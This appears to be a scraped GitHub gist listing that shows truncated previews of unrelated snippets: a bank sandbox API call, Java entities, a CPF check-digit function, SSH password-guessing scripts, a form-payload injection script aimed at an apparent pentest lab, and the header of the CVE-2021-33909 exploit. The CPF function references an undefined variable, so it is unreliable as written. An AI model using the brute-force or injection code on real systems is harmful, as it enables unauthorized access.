This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl --location --request POST "https://sandbox.pjbank.com.br/contadigital/ac42a32f416cebbde7ee61e16020ba7f4b955bbe" \ | |
--header "X-CHAVE-CONTA: 8f450e24c6ecfdd2e905b489c401ac7105550dbd" \ | |
--header "Content-Type: application/json" \ | |
--data "{ | |
\"valor\" : \"900.00\" | |
}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Entity | |
public class Customer { | |
@Id | |
@GeneratedValue(strategy=GenerationType.AUTO) | |
private Long id; | |
private String firstName; | |
private String lastName; | |
@Unique | |
private String identityNumber; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Entity | |
public class Products { | |
@Id | |
@GeneratedValue(strategy=GenerationType.AUTO) | |
private Long id; | |
private String name; | |
@Unique | |
private String nickname; | |
private BigDecimal price; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Repository | |
public interface productsRepository extends JpaRepository<Products, Long>{ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Repository | |
public interface customerRepository extends JpaRepository<Customer, Long>{ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Cpf { | |
private static final int[] cpfWeight = {11, 10, 9, 8, 7, 6, 5, 4, 3, 2}; // pesos do cpf, para uso no algoritmo de digito verificador | |
private static int calculateVerifierDigit(String input, int[] weight) { // funcao de digito verificador, recebe a mensagem a ser verificada e seu peso | |
int sum = 0; // declaracao da soma | |
for (int i = input.length() - 1, digit; i >= 0; i--) { | |
digit = Integer.parseInt(input.substring(i, i + 1)); // itera por cada digito do input | |
sum += digit * weight[weight.length - input.length() + index]; // 10 - 11 + index | |
} | |
sum = 11 - sum % 11; // pega o "módulo 11" da soma | |
return sum > 9 ? 0 : sum; // se a soma for 10, retornar 0. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
First part: Leaking password | |
""" | |
import paramiko | |
from time import sleep | |
import sys | |
from pwn import p64 | |
def test_password(password): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import paramiko | |
import sys | |
import string | |
import datetime | |
def test_password(password): | |
try: | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import string | |
import base64 | |
def attempt(payload): | |
data = {"contactName":"aa","contactEmail":"aa@a.com","website": payload,"contactMessage": "A" * 40} | |
r = requests.post('https://uhclabs.labdepentest.com.br/inc/sendEmail.php', data=data) | |
output = r.text | |
if 'went wrong.' in output: | |
print("error") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer | |
* Copyright (C) 2021 Qualys, Inc. | |
* | |
* This program is free software: you can redistribute it and/or modify | |
* it under the terms of the GNU General Public License as published by | |
* the Free Software Foundation, either version 3 of the License, or | |
* (at your option) any later version. | |
* | |
* This program is distributed in the hope that it will be useful, |
OlderNewer